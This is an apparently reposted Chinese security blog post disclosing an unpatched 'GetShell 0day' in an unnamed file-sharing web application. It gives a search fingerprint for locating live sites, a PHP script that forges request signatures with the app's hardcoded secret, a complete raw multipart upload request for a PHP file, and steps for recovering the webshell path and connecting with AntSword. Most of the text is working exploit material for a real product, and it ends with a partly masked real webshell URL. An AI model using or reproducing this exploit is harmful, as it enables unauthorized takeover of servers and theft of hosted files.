某网盘逻辑缺陷GetShell0day

admin 2024年1月3日22:20:19评论83 views字数 1472阅读4分54秒阅读模式

01

指纹

本篇文章为青山师傅代审实战案例分享

佬的指纹:"assets/picture/header-mobile.png"

我的指纹:title="分享赚钱,让资源有价值!"

02

逻辑缺陷_文件上传

漏洞位置:public/server/index.php

URL访问:http://localhost/server/index.php


某网盘逻辑缺陷GetShell0day


构造数据包 用以下PHP脚本生成sign

<?php
function sign_params($params): string{ // 过滤参数 $params = array_filter($params,function($key) use ($params){ if(empty($params[$key]) || $key == 'sign'){ return false; } return true; },ARRAY_FILTER_USE_KEY);
// ascii排序 ksort($params); reset($params); var_dump($params); // 签名 return md5(urldecode(http_build_query($params)) . "asdasfasfasfasfasfa");}
$_GET['md'] = "upload";$_GET['uid'] = "1";$_GET['notify'] = 'http://localhost/1.php';//用于接受请求获取上传的文件路径echo sign_params($_GET);

1.php内容为:UPLOAD_SUCCESS

上传poc如下

POST /server/index.php?md=upload&sign=b8ae73af203e8b88e6624998cc55e5a1&uid=1&notify=http%3A%2F%2Flocalhost%3A99%2F1.php HTTP/1.1Host: 127.0.0.1Cache-Control: no-cacheAccept: */*Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=--------------------------570796120375390059114427User-Agent: PostmanRuntime-ApipostRuntime/1.1.0Content-Length: 389
----------------------------570796120375390059114427Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/x-httpd-php
<?php phpinfo(); ?>----------------------------570796120375390059114427--

返回上传成功

查看http://localhost/1.php的访问日志

获取访问日志具有参数path

拼接http://localhost/server/+path就是webshell地址



03

复现

某网盘逻辑缺陷GetShell0day

构造发包

某网盘逻辑缺陷GetShell0day

日志记录如下:

某网盘逻辑缺陷GetShell0day

某网盘逻辑缺陷GetShell0day


拼接url:

https://*****/server//upload/20240103/1/file_dGeBwYb21wvyBKLu.php

AntSword链接

某网盘逻辑缺陷GetShell0day


本篇文章为青山师傅代审实战案例分享

原文始发于微信公众号(梅苑安全学术):某网盘逻辑缺陷GetShell0day

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日22:20:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某网盘逻辑缺陷GetShell0dayhttps://cn-sec.com/archives/2361588.html

发表评论

匿名网友 填写信息